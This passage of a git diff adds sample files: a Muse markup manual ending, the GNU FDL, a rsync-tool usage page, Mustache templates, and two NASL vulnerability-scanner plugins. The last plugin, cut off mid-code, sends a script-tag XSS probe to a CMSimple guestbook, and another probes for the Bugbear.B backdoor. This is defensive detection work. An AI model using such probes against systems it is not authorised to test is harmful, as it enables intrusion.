+How smart a lash that speech doth giue my Conscience? <br>
+The Harlots Cheeke beautied with plaist’ring Art <br>
+Is not more vgly to the thing that helpes it, <br>
+Then is my deede, to my most painted word. <br>
+Oh heauie burthen!
+
+</play>
+
+** Preventing the markup to be interpreted (verbatim)
+
+Sometimes you want to write something like <verbatim>[1]</verbatim>
+without meaning a footnote reference, or asterisks without meaning an
+emphasis, e.g. <verbatim>*this*</verbatim>.
+
+You can do so wrapping the words with the =<verbatim>= tag.
+
+Example:
+
+{{{
+Sometimes you want to write something like <verbatim>[1]</verbatim>
+without meaning a footnote reference, or asterisks without meaning an
+emphasis, e.g. <verbatim>*this*</verbatim>.
+}}}
+
+Since Text::Amuse version 0.96 (released 2018-01-27), which restored
+Emacs Muse compatibility in this regard, material in =<code>= tags and
+equivalent markup between equal signs is also verbatim, but with a
+monospace font.
+
+** Differences between =Text::Amuse= and Emacs Muse
+
+Unfortunately, the Emacs Muse project is dead. However,
+[[https://pandoc.org][pandoc]] supports the muse syntax.
+
+*** Inline markup
+
+**** Underlining
+
+Underlining has been dropped.
+
+**** Tags for emphasis
+
+Emphasis and strong can also be written with tags, like =<em>emphasis</em>=,
+=<strong>strong</strong>= and =<code>code</code>=.
+
+**** Superscript and subscript tags
+
+Added tag =<sup>= and =<sub>= for superscript and
+subscript.
+
+**** Allowed characters before lightweight markup
+
+Asterisk and equal symbols (<verbatim>*, **, *** =</verbatim>) are
+interpreted as markup elements if they are paired (an opening one and
+a closing one).
+
+The opening one must be preceded by something which is not an
+alphanumerical character (or at the beginning of the line) and
+followed by something which is not a space.
+
+The closing one must be preceded by something which is not a space,
+and followed by something which is not an alphanumerical character (or
+at the end of the line).
+
+Unlike Emacs Muse (as of version 3.20.2), any non-alphanumeric characters
+are allowed before the opening =*= and <code>=</code>. For example, the
+following markup is interpreted as bold code by Amusewiki
+{{{
+**=Bold code=**
+}}}
+while Emacs Muse interprets it as bold "<verbatim>=Bold code=</verbatim>".
+
+*** Block markup
+
+The only tables supported are the native one (with =|||= as separator).
+
+While Emacs Muse requires the bars to be surrounded by spaces to
+trigger a table, Text::Amuse requires some initial indentation. To
+write compatible table, please indent and keep the bars surrounded by
+spaces.
+
+Since version 0.60, the code blocks, besides the =<example>= tag, can
+also be written as ={{{= =}}}=, e.g.
+
+<example>
+{{{
+ if ($perl) {...}
+}}}
+</example>
+
+Since 0.91, there is full support for secondary footnotes with number
+inside curly brackets. Emacs Muse is missing this feature.
+
+Lists require whitespace after list item marker.
+{{{
+ -This is not a list item.
+
+ 1.This is not an ordered list item.
+}}}
+
+* GNU Free Documentation License
+
+
+        GNU Free Documentation License<br>
+        Version 1.3, 3 November 2008
+
+
+   Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc.
+   [[http://fsf.org/]]
+   Everyone is permitted to copy and distribute verbatim copies
+   of this license document, but changing it is not allowed.
+
+** 0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other
+functional and useful document “free” in the sense of freedom: to
+assure everyone the effective freedom to copy and redistribute it,
+with or without modifying it, either commercially or noncommercially.
+Secondarily, this License preserves for the author and publisher a way
+to get credit for their work, while not being considered responsible
+for modifications made by others.
+
+This License is a kind of “copyleft”, which means that derivative
+works of the document must themselves be free in the same sense.  It
+complements the GNU General Public License, which is a copyleft
+license designed for free software.
+
+We have designed this License in order to use it for manuals for free
+software, because free software needs free documentation: a free
+program should come with manuals providing the same freedoms that the
+software does.  But this License is not limited to software manuals;
+it can be used for any textual work, regardless of subject matter or
+whether it is published as a printed book.  We recommend this License
+principally for works whose purpose is instruction or reference.
+
+
+** 1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that
+contains a notice placed by the copyright holder saying it can be
+distributed under the terms of this License.  Such a notice grants a
+world-wide, royalty-free license, unlimited in duration, to use that
+work under the conditions stated herein.  The “Document”, below,
+refers to any such manual or work.  Any member of the public is a
+licensee, and is addressed as “you”.  You accept the license if you
+copy, modify or distribute the work in a way requiring permission
+under copyright law.
+
+A “Modified Version” of the Document means any work containing the
+Document or a portion of it, either copied verbatim, or with
+modifications and/or translated into another language.
+
+A “Secondary Section” is a named appendix or a front-matter section of
+the Document that deals exclusively with the relationship of the
+publishers or authors of the Document to the Document’s overall
+subject (or to related matters) and contains nothing that could fall
+directly within that overall subject.  (Thus, if the Document is in
+part a textbook of mathematics, a Secondary Section may not explain
+any mathematics.)  The relationship could be a matter of historical
+connection with the subject or with related matters, or of legal,
+commercial, philosophical, ethical or political position regarding
+them.
+
+The “Invariant Sections” are certain Secondary Sections whose titles
+are designated, as being those of Invariant Sections, in the notice
+that says that the Document is released under this License.  If a
+section does not fit the above definition of Secondary then it is not
+allowed to be designated as Invariant.  The Document may contain zero
+Invariant Sections.  If the Document does not identify any Invariant
+Sections then there are none.
+
+The “Cover Texts” are certain short passages of text that are listed,
+as Front-Cover Texts or Back-Cover Texts, in the notice that says that
+the Document is released under this License.  A Front-Cover Text may
+be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A “Transparent” copy of the Document means a machine-readable copy,
+represented in a format whose specification is available to the
+general public, that is suitable for revising the document
+straightforwardly with generic text editors or (for images composed of
+pixels) generic paint programs or (for drawings) some widely available
+drawing editor, and that is suitable for input to text formatters or
+for automatic translation to a variety of formats suitable for input
+to text formatters.  A copy made in an otherwise Transparent file
+format whose markup, or absence of markup, has been arranged to thwart
+or discourage subsequent modification by readers is not Transparent.
+An image format is not Transparent if used for any substantial amount
+of text.  A copy that is not “Transparent” is called “Opaque”.
+
+Examples of suitable formats for Transparent copies include plain
+ASCII without markup, Texinfo input format, LaTeX input format, SGML
+or XML using a publicly available DTD, and standard-conforming simple
+HTML, PostScript or PDF designed for human modification.  Examples of
+transparent image formats include PNG, XCF and JPG.  Opaque formats
+include proprietary formats that can be read and edited only by
+proprietary word processors, SGML or XML for which the DTD and/or
+processing tools are not generally available, and the
+machine-generated HTML, PostScript or PDF produced by some word
+processors for output purposes only.
+
+The “Title Page” means, for a printed book, the title page itself,
+plus such following pages as are needed to hold, legibly, the material
+this License requires to appear in the title page.  For works in
+formats which do not have any title page as such, “Title Page” means
+the text near the most prominent appearance of the work’s title,
+preceding the beginning of the body of the text.
+
+The “publisher” means any person or entity that distributes copies of
+the Document to the public.
+
+A section “Entitled XYZ” means a named subunit of the Document whose
+title either is precisely XYZ or contains XYZ in parentheses following
+text that translates XYZ in another language.  (Here XYZ stands for a
+specific section name mentioned below, such as “Acknowledgements”,
+“Dedications”, “Endorsements”, or “History”.)  To “Preserve the Title”
+of such a section when you modify the Document means that it remains a
+section “Entitled XYZ” according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which
+states that this License applies to the Document.  These Warranty
+Disclaimers are considered to be included by reference in this
+License, but only as regards disclaiming warranties: any other
+implication that these Warranty Disclaimers may have is void and has
+no effect on the meaning of this License.
+
+** 2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either
+commercially or noncommercially, provided that this License, the
+copyright notices, and the license notice saying this License applies
+to the Document are reproduced in all copies, and that you add no
+other conditions whatsoever to those of this License.  You may not use
+technical measures to obstruct or control the reading or further
+copying of the copies you make or distribute.  However, you may accept
+compensation in exchange for copies.  If you distribute a large enough
+number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and
+you may publicly display copies.
+
+
+** 3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have
+printed covers) of the Document, numbering more than 100, and the
+Document’s license notice requires Cover Texts, you must enclose the
+copies in covers that carry, clearly and legibly, all these Cover
+Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on
+the back cover.  Both covers must also clearly and legibly identify
+you as the publisher of these copies.  The front cover must present
+the full title with all words of the title equally prominent and
+visible.  You may add other material on the covers in addition.
+Copying with changes limited to the covers, as long as they preserve
+the title of the Document and satisfy these conditions, can be treated
+as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit
+legibly, you should put the first ones listed (as many as fit
+reasonably) on the actual cover, and continue the rest onto adjacent
+pages.
+
+If you publish or distribute Opaque copies of the Document numbering
+more than 100, you must either include a machine-readable Transparent
+copy along with each Opaque copy, or state in or with each Opaque copy
+a computer-network location from which the general network-using
+public has access to download using public-standard network protocols
+a complete Transparent copy of the Document, free of added material.
+If you use the latter option, you must take reasonably prudent steps,
+when you begin distribution of Opaque copies in quantity, to ensure
+that this Transparent copy will remain thus accessible at the stated
+location until at least one year after the last time you distribute an
+Opaque copy (directly or through your agents or retailers) of that
+edition to the public.
+
+It is requested, but not required, that you contact the authors of the
+Document well before redistributing any large number of copies, to
+give them a chance to provide you with an updated version of the
+Document.
+
+
+** 4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under
+the conditions of sections 2 and 3 above, provided that you release
+the Modified Version under precisely this License, with the Modified
+Version filling the role of the Document, thus licensing distribution
+and modification of the Modified Version to whoever possesses a copy
+of it.  In addition, you must do these things in the Modified Version:
+
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct
+    from that of the Document, and from those of previous versions
+    (which should, if there were any, be listed in the History section
+    of the Document).  You may use the same title as a previous version
+    if the original publisher of that version gives permission.
+
+ A. List on the Title Page, as authors, one or more persons or entities
+    responsible for authorship of the modifications in the Modified
+    Version, together with at least five of the principal authors of the
+    Document (all of its principal authors, if it has fewer than five),
+    unless they release you from this requirement.
+
+ A. State on the Title page the name of the publisher of the
+    Modified Version, as the publisher.
+
+ A. Preserve all the copyright notices of the Document.
+
+ A. Add an appropriate copyright notice for your modifications
+    adjacent to the other copyright notices.
+
+ A. Include, immediately after the copyright notices, a license notice
+    giving the public permission to use the Modified Version under the
+    terms of this License, in the form shown in the Addendum below.
+
+ A. Preserve in that license notice the full lists of Invariant Sections
+    and required Cover Texts given in the Document’s license notice.
+
+ A. Include an unaltered copy of this License.
+
+ A. Preserve the section Entitled “History”, Preserve its Title, and add
+    to it an item stating at least the title, year, new authors, and
+    publisher of the Modified Version as given on the Title Page.  If
+    there is no section Entitled “History” in the Document, create one
+    stating the title, year, authors, and publisher of the Document as
+    given on its Title Page, then add an item describing the Modified
+    Version as stated in the previous sentence.
+
+ A. Preserve the network location, if any, given in the Document for
+    public access to a Transparent copy of the Document, and likewise
+    the network locations given in the Document for previous versions
+    it was based on.  These may be placed in the “History” section.
+    You may omit a network location for a work that was published at
+    least four years before the Document itself, or if the original
+    publisher of the version it refers to gives permission.
+
+ A. For any section Entitled “Acknowledgements” or “Dedications”,
+    Preserve the Title of the section, and preserve in the section all
+    the substance and tone of each of the contributor acknowledgements
+    and/or dedications given therein.
+
+ A. Preserve all the Invariant Sections of the Document,
+    unaltered in their text and in their titles.  Section numbers
+    or the equivalent are not considered part of the section titles.
+
+ A. Delete any section Entitled “Endorsements”.  Such a section
+    may not be included in the Modified Version.
+
+ A. Do not retitle any existing section to be Entitled “Endorsements”
+    or to conflict in title with any Invariant Section.
+
+ A. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or
+appendices that qualify as Secondary Sections and contain no material
+copied from the Document, you may at your option designate some or all
+of these sections as invariant.  To do this, add their titles to the
+list of Invariant Sections in the Modified Version’s license notice.
+These titles must be distinct from any other section titles.
+
+You may add a section Entitled “Endorsements”, provided it contains
+nothing but endorsements of your Modified Version by various
+parties--for example, statements of peer review or that the text has
+been approved by an organization as the authoritative definition of a
+standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a
+passage of up to 25 words as a Back-Cover Text, to the end of the list
+of Cover Texts in the Modified Version.  Only one passage of
+Front-Cover Text and one of Back-Cover Text may be added by (or
+through arrangements made by) any one entity.  If the Document already
+includes a cover text for the same cover, previously added by you or
+by arrangement made by the same entity you are acting on behalf of,
+you may not add another; but you may replace the old one, on explicit
+permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License
+give permission to use their names for publicity for or to assert or
+imply endorsement of any Modified Version.
+
+
+** 5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this
+License, under the terms defined in section 4 above for modified
+versions, provided that you include in the combination all of the
+Invariant Sections of all of the original documents, unmodified, and
+list them all as Invariant Sections of your combined work in its
+license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and
+multiple identical Invariant Sections may be replaced with a single
+copy.  If there are multiple Invariant Sections with the same name but
+different contents, make the title of each such section unique by
+adding at the end of it, in parentheses, the name of the original
+author or publisher of that section if known, or else a unique number.
+Make the same adjustment to the section titles in the list of
+Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled “History”
+in the various original documents, forming one section Entitled
+“History”; likewise combine any sections Entitled “Acknowledgements”,
+and any sections Entitled “Dedications”.  You must delete all sections
+Entitled “Endorsements”.
+
+
+** 6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other
+documents released under this License, and replace the individual
+copies of this License in the various documents with a single copy
+that is included in the collection, provided that you follow the rules
+of this License for verbatim copying of each of the documents in all
+other respects.
+
+You may extract a single document from such a collection, and
+distribute it individually under this License, provided you insert a
+copy of this License into the extracted document, and follow this
+License in all other respects regarding verbatim copying of that
+document.
+
+
+** 7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate
+and independent documents or works, in or on a volume of a storage or
+distribution medium, is called an “aggregate” if the copyright
+resulting from the compilation is not used to limit the legal rights
+of the compilation’s users beyond what the individual works permit.
+When the Document is included in an aggregate, this License does not
+apply to the other works in the aggregate which are not themselves
+derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these
+copies of the Document, then if the Document is less than one half of
+the entire aggregate, the Document’s Cover Texts may be placed on
+covers that bracket the Document within the aggregate, or the
+electronic equivalent of covers if the Document is in electronic form.
+Otherwise they must appear on printed covers that bracket the whole
+aggregate.
+
+
+** 8. TRANSLATION
+
+Translation is considered a kind of modification, so you may
+distribute translations of the Document under the terms of section 4.
+Replacing Invariant Sections with translations requires special
+permission from their copyright holders, but you may include
+translations of some or all Invariant Sections in addition to the
+original versions of these Invariant Sections.  You may include a
+translation of this License, and all the license notices in the
+Document, and any Warranty Disclaimers, provided that you also include
+the original English version of this License and the original versions
+of those notices and disclaimers.  In case of a disagreement between
+the translation and the original version of this License or a notice
+or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled “Acknowledgements”,
+“Dedications”, or “History”, the requirement (section 4) to Preserve
+its Title (section 1) will typically require changing the actual
+title.
+
+
+** 9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense, or distribute it is void, and
+will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license
+from a particular copyright holder is reinstated (a) provisionally,
+unless and until the copyright holder explicitly and finally
+terminates your license, and (b) permanently, if the copyright holder
+fails to notify you of the violation by some reasonable means prior to
+60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, receipt of a copy of some or all of the same material does
+not give you any rights to use it.
+
+
+** 10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the
+GNU Free Documentation License from time to time.  Such new versions
+will be similar in spirit to the present version, but may differ in
+detail to address new problems or concerns.  See
+[[http://www.gnu.org/copyleft/]].
+
+Each version of the License is given a distinguishing version number.
+If the Document specifies that a particular numbered version of this
+License “or any later version” applies to it, you have the option of
+following the terms and conditions either of that specified version or
+of any later version that has been published (not as a draft) by the
+Free Software Foundation.  If the Document does not specify a version
+number of this License, you may choose any version ever published (not
+as a draft) by the Free Software Foundation.  If the Document
+specifies that a proxy can decide which future versions of this
+License can be used, that proxy’s public statement of acceptance of a
+version permanently authorizes you to choose that version for the
+Document.
+
+** 11. RELICENSING
+
+“Massive Multiauthor Collaboration Site” (or “MMC Site”) means any
+World Wide Web server that publishes copyrightable works and also
+provides prominent facilities for anybody to edit those works.  A
+public wiki that anybody can edit is an example of such a server.  A
+“Massive Multiauthor Collaboration” (or “MMC”) contained in the site
+means any set of copyrightable works thus published on the MMC site.
+
+“CC-BY-SA” means the Creative Commons Attribution-Share Alike 3.0
+license published by Creative Commons Corporation, a not-for-profit
+corporation with a principal place of business in San Francisco,
+California, as well as future copyleft versions of that license
+published by that same organization.
+
+“Incorporate” means to publish or republish a Document, in whole or in
+part, as part of another Document.
+
+An MMC is “eligible for relicensing” if it is licensed under this
+License, and if all works that were first published under this License
+somewhere other than this MMC, and subsequently incorporated in whole or
+in part into the MMC, (1) had no cover texts or invariant sections, and
+(2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site
+under CC-BY-SA on the same site at any time before August 1, 2009,
+provided the MMC is eligible for relicensing.
+
+
+** ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of
+the License in the document and put the following copyright and
+license notices just after the title page:
+
+<quote>
+Copyright (c)  YEAR  YOUR NAME.
+
+Permission is granted to copy, distribute and/or modify this document
+under the terms of the GNU Free Documentation License, Version 1.3
+or any later version published by the Free Software Foundation;
+with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
+A copy of the license is included in the section entitled “GNU
+Free Documentation License”.
+</quote>
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts,
+replace the “with...Texts.” line with this:
+
+  with the Invariant Sections being LIST THEIR TITLES, with the
+  Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other
+combination of the three, merge those two alternatives to suit the
+situation.
+
+If your document contains nontrivial examples of program code, we
+recommend releasing these examples in parallel under your choice of
+free software license, such as the GNU General Public License,
+to permit their use in free software.
+
diff --git a/samples/Muse/usage.muse b/samples/Muse/usage.muse
new file mode 100644
index 0000000000..213967540e
--- /dev/null
+++ b/samples/Muse/usage.muse
@@ -0,0 +1,125 @@
+#title Monikop (and Pokinom)
+#subtitle rsync between unconnected hosts
+#author Bert Burgemeister
+
+* Usage
+
+Both Monikop and Pokinom will create automatically any directories they need.
+
+** Monikop
+
+Put removable disks into Monikop's host on Rover and switch it on. Immediately,
+Monikop starts pulling data from Sources it can reach. Monikop will
+notice additional Sources that become reachable later and will start
+pulling data there as well.
+
+For each Source, Monikop keeps starting over to see if there is new
+data. Only Monikop's shutdown or the disappearance of the data Source
+will end this cycle.
+
+One removable disk is sufficient for Monikop's correct
+operation, but if speed is important, putting in as many disks as
+there are data Sources may be beneficial as Monikop uses them in parallel.
+
+To end a session, press [F3] to shut down Monikop, and remove the
+disks. Monikop's display shows which disks are not yet used so you
+can avoid carrying empty disks around.
+
+
+
+** Pokinom
+
+Put removable disks into Pokinom's host in office and switch it
+on. Immediately, Pokinom starts pushing data to Destination. 
+Interrupting this by shutting down Pokinom early is not a problem as
+long as it is later given the opportunity to finish. Otherwise files,
+even those already copied to
+Destination, won't be deleted by Monikop from their removable disks
+during the next cycle.
+
+Press [F9] to toggle whether or not you want Pokinom to shut down
+when finished. 
+
+File permissions in Destination's receiving directory must not be
+changed in a way that prevents the rsync server from modifying.
+Best practice is to move anything out of this directory prior to any
+processing. 
+
+Pokinom needs a sufficient amount of free disk space on Destination; it
+must be rebooted once this temporarily hasn't been the case. 
+
+
+;   TODO: data transferred, but to ignore (probably none)
+
+
+; TODO:
+; ** fsck-pokinom
+;    - fsck-pokinom: to be run by root
+
+
+** Crash Recovery
+
+Removable disks may get lost before they reach Destination, or
+Destination may crash shortly after receiving fresh data. The
+following may help in these cases.
+
+*** Data Recovery from Source(s) on Rover
+
+On Monikop's host, stop Monikop and delete the log files whose
+directory and name prefix is set in [[installation#monikop.config][monikop.config]] by
+=$rsync_log_prefix= and =$finished_prefix=, and whose names resemble the
+Source they belong to.
+
+On next startup, Monikop will pull all data from this Source again.
+
+*** Data Loss on Destination: Recovery from Removable Disks
+
+Data on removable disks are deleted not until the disk is
+finished by Pokinom and re-inserted in
+Monikop. (Non-)deletability is expressed by directory names defined
+in both [[installation#monikop.config][monikop.config]] and
+[[installation#pokinom.config][pokinom.config]]:
+ - =$path_under_mount_point= sets the name of a directory fresh data
+   reside in on each removable disk. Once finished by Pokinom, it
+   is renamed into the name set by
+ - =$path_under_mount_point_backed_up=. You can simply rename it
+   back and Pokinom will push its content to Destination again.
+   If you don't, Monikop will rename it into the name set by
+ - =$path_under_mount_point_being_deleted= as soon as it sees it,
+   and start deleting it while a new =$path_under_mount_point= is
+   created and filled with fresh data.
+
+*** Disk Failure
+
+Suppose the system reports disk error on (say) /dev/sdb1. What is it's
+label?
+
+<example>
+ls -l /dev/disk/by-label
+</example>
+
+shows the mapping.
+
+
+* Bugs
+
+  - Monikop and Pokinom allow files on Sources to change at any time
+    and will reflect such changes in Destination. As a downside,
+    Monikop and Pokinom are unable to tell whether a file is transferred
+    completely. You should be able to assert completeness of your
+    files by other means.
+  - Empty directories on Sources are being ignored.
+  - Any directories on Sources whose names conflict with the setting
+    =$rsync_partial_dir_name= in [[installation#monikop][monikop.config]] are being ignored.
+  - Deletions on Sources won't propagate to Destination.
+  - For user information on progress, both Monikop and Pokinom rely on
+    Rsync's output which is not always reliable as to the total number
+    of files.
+  - During copying, occasionally obsolete versions of a file may
+    temporarily appear on Destination. This can happen with files that
+    have grown bigger after having been copied already.
+  - Frequent power cuts (as opposed to normal shutdown operations) may
+    compromise efficiency in terms of disk usage.
+  - By running multiple instances of Rsync, Monikop puts considerable
+    strain on the system. This may reveal previously unnoticed
+    hardware faults.
diff --git a/samples/Mustache/csvrow.mustache b/samples/Mustache/csvrow.mustache
new file mode 100644
index 0000000000..278fcfaea4
--- /dev/null
+++ b/samples/Mustache/csvrow.mustache
@@ -0,0 +1 @@
+{{knownas}} {{familyname}},{{groupdisplay}},{{homelocationdisplay}},{{currentlocationdisplay}},{{statuschangetime}},{{setbydisplay}},{{confirmedtime}},{{confirmedby}},{{pupilid}}
diff --git a/samples/Mustache/deleteuser.mustache b/samples/Mustache/deleteuser.mustache
new file mode 100644
index 0000000000..045e892b8a
--- /dev/null
+++ b/samples/Mustache/deleteuser.mustache
@@ -0,0 +1,20 @@
+<div class='container pt-2'><h2>Delete user: {{usernamedisplay}}</h2>
+{{#error}}<div class='alert alert-danger'>{{.}}</div>{{/error}}
+{{#info}}<div class='alert alert-info'>{{.}}</div>{{/info}}
+    <h3>Permanently delete {{usernamedisplay}}</h3>
+    <form method="post" action="deleteuser.php">
+        <input type="hidden" name="deleteuser" value="{{deleteuser}}">
+        <input type="hidden" name="usertype" value="{{usertype}}">
+        <input type="hidden" name="makechanges" value="change">
+        {{#eplocation}}<input type='hidden' name='eplocation' value='{{.}}'>{{/eplocation}}
+        {{#eppupilgroup}}<input type='hidden' name='eppupilgroup' value='{{.}}'>{{/eppupilgroup}}
+        <div class="form-check mb-2">
+            <label class="form-check-label">
+                <input type="checkbox" class="form-check-input required check" name="understood" value="yes">
+                * I understand that this will permanently delete the user and any user history.
+            </label>
+        </div>
+        <button type="submit" disabled class="btn btn-danger">Submit</button>
+        <a href="{{returntourl}}" class="btn btn-light">Cancel</a>
+    </form>
+</div>
diff --git a/samples/Mustache/pupilinfoblock.mustache b/samples/Mustache/pupilinfoblock.mustache
new file mode 100644
index 0000000000..f252c1c24e
--- /dev/null
+++ b/samples/Mustache/pupilinfoblock.mustache
@@ -0,0 +1,8 @@
+<div class='container-fluid text-center border-top mt-2'>
+    <p><i>Logged in as </i>{{familyname}}, {{knownas}}</p>
+
+    <p>{{YourCurrentLocation}}: {{PrettyCurrentLocation}}</p>
+    <p>{{YourHomeLocation}}: {{PrettyHomeLocation}}</p>
+    <p><a href='setpassword.php'>Change password</a></p>
+    <p><a href='logout.php'>Log out</a></p>
+</div>
diff --git a/samples/Mustache/showallusers.mustache b/samples/Mustache/showallusers.mustache
new file mode 100644
index 0000000000..f252c1c24e
--- /dev/null
+++ b/samples/Mustache/showallusers.mustache
@@ -0,0 +1,8 @@
+<div class='container-fluid text-center border-top mt-2'>
+    <p><i>Logged in as </i>{{familyname}}, {{knownas}}</p>
+
+    <p>{{YourCurrentLocation}}: {{PrettyCurrentLocation}}</p>
+    <p>{{YourHomeLocation}}: {{PrettyHomeLocation}}</p>
+    <p><a href='setpassword.php'>Change password</a></p>
+    <p><a href='logout.php'>Log out</a></p>
+</div>
diff --git a/samples/NASL/bugbear_b.nasl b/samples/NASL/bugbear_b.nasl
new file mode 100644
index 0000000000..650f3e400b
--- /dev/null
+++ b/samples/NASL/bugbear_b.nasl
@@ -0,0 +1,60 @@
+#
+# (C) 2003 StrongHoldNet
+#
+# Licence : GPL v2
+#
+# Modifications by rd:
+#  -> Try every web server, not just port 81
+#
+# UNTESTED
+
+
+include("compat.inc");
+
+if (description)
+{
+ script_id(11707);
+ script_version ("$Revision: 1.10 $");
+ script_cvs_date("$Date: 2013/05/22 01:11:21 $");
+
+ script_name(english:"Bugbear.B Web Backdoor Detection");
+
+ script_set_attribute(attribute:"synopsis", value:
+"The remote host is compromised." );
+ script_set_attribute(attribute:"description", value:
+"Your system seems to be infected by the Bugbear.B virus
+(its backdoor has been detected on port 81)." );
+ # http://web.archive.org/web/20030608064444/http://www.f-secure.com/v-descs/bugbear_b.shtml
+ script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1f7c9f15" );
+ script_set_attribute(attribute:"solution", value:
+"Use your favorite antivirus to disinfect your system. 
+Standalone disinfection tools also exist :
+ftp://ftp.f-secure.com/anti-virus/tools/f-bugbr.zip" );
+ script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
+ script_set_attribute(attribute:"plugin_publication_date", value: "2003/06/09");
+ script_set_attribute(attribute:"plugin_type", value:"remote");
+ script_end_attributes();
+
+ script_summary(english:"Checks for Bugbear.B web backdoor");
+ script_category(ACT_GATHER_INFO);
+ script_family(english:"Backdoors");
+ script_copyright(english:"This script is Copyright (C) 2003-2013 StrongHoldNet");
+ script_dependencie("http_version.nasl");
+ script_require_ports("Services/www", 81);
+ exit(0);
+}
+
+include("global_settings.inc");
+include("http_func.inc");
+include("http_keepalive.inc");
+
+port = get_http_port(default:81);
+if(!port)exit(0);
+
+if(!get_port_state(port))exit(0);
+url = '/%NETHOOD%/';
+req = http_get(item:url, port:port);
+buf = http_keepalive_send_recv(port:port, data:req);
+if( buf == NULL ) exit(0);
+if(ereg(pattern:"^HTTP/[0-9]\.[0-9] 200 ", string:buf) && "Microsoft Windows Network" >< buf) security_hole(port);
+
diff --git a/samples/NASL/cmsimple_guestbook_xss.nasl b/samples/NASL/cmsimple_guestbook_xss.nasl
new file mode 100644
index 0000000000..f1e258f515
--- /dev/null
+++ b/samples/NASL/cmsimple_guestbook_xss.nasl
@@ -0,0 +1,101 @@
+#
+# Josh Zlatin-Amishav (josh at ramat dot cc)
+# GPLv2
+#
+# Changes by Tenable:
+# - Revised plugin title (12/22/2008)
+# - Revised description and added CPE (11/29/2012)
+
+include("compat.inc");
+
+if (description) {
+  script_id(19693);
+  script_bugtraq_id(12303);
+  script_osvdb_id(13130);
+  script_version("$Revision: 1.13 $");
+
+  script_name(english:"CMSimple Guestbook Module index.php XSS");
+ 
+ script_set_attribute(attribute:"synopsis", value:
+"The remote web server is hosting a PHP application that is affected 
+by a cross-site scripting vulnerability." );
+ script_set_attribute(attribute:"description", value:
+"The remote host is running CMSimple, a CMS written in PHP. 
+
+The version of CMSimple installed on the remote host is prone to
+cross-site scripting attacks due to its failure to sanitize
+user-supplied input to both the search and guestbook modules." );
+ script_set_attribute(attribute:"see_also", value:"http://securitytracker.com/alerts/2005/Jan/1012926.html" );
+ script_set_attribute(attribute:"solution", value:
+"Upgrade to version 2.4 Beta 5 or higher." );
+ script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
+ script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
+ script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
+ script_set_attribute(attribute:"exploit_available", value:"true");
+ script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
+
+ script_set_attribute(attribute:"plugin_publication_date", value: "2005/09/14");
+ script_set_attribute(attribute:"vuln_publication_date", value: "2005/01/18");
+ script_cvs_date("$Date: 2015/01/13 20:37:05 $");
+script_set_attribute(attribute:"plugin_type", value:"remote");
+script_set_attribute(attribute:"cpe", value:"cpe:/a:cmsimple:cmsimple");
+script_end_attributes();
+
+ 
+  summary["english"] = "Checks for XSS in guestbook module in index.php";
+  script_summary(english:summary["english"]);
+ 
+  script_category(ACT_DESTRUCTIVE_ATTACK);
+  script_family(english:"CGI abuses : XSS");
+
+  script_copyright(english:"(C) 2005-2015 Josh Zlatin-Amishav");
+
+  script_dependencie("http_version.nasl", "cross_site_scripting.nasl");
+  script_require_ports("Services/www", 80);
+  script_exclude_keys("Settings/disable_cgi_scanning");
+  script_require_keys("www/PHP");
+  exit(0);
+}
+
+include("global_settings.inc");
+include("http_func.inc");
+include("http_keepalive.inc");
+include("url_func.inc");
+
+port = get_http_port(default:80);
+if (!get_port_state(port)) exit(0);
+if (!can_host_php(port:port)) exit(0);
+if ( get_kb_item("www/"+port+"/generic_xss") ) exit(0);
+
+xss = "<script>alert('" + SCRIPT_NAME + "');</script>";
+exss = urlencode(str:xss);
+
+foreach dir ( cgi_dirs() )
+{
+  req = http_get(
+    item:string(
+      dir, "/index.php?",
+     "guestbook=", exss, 
+     "&function=guestbook",
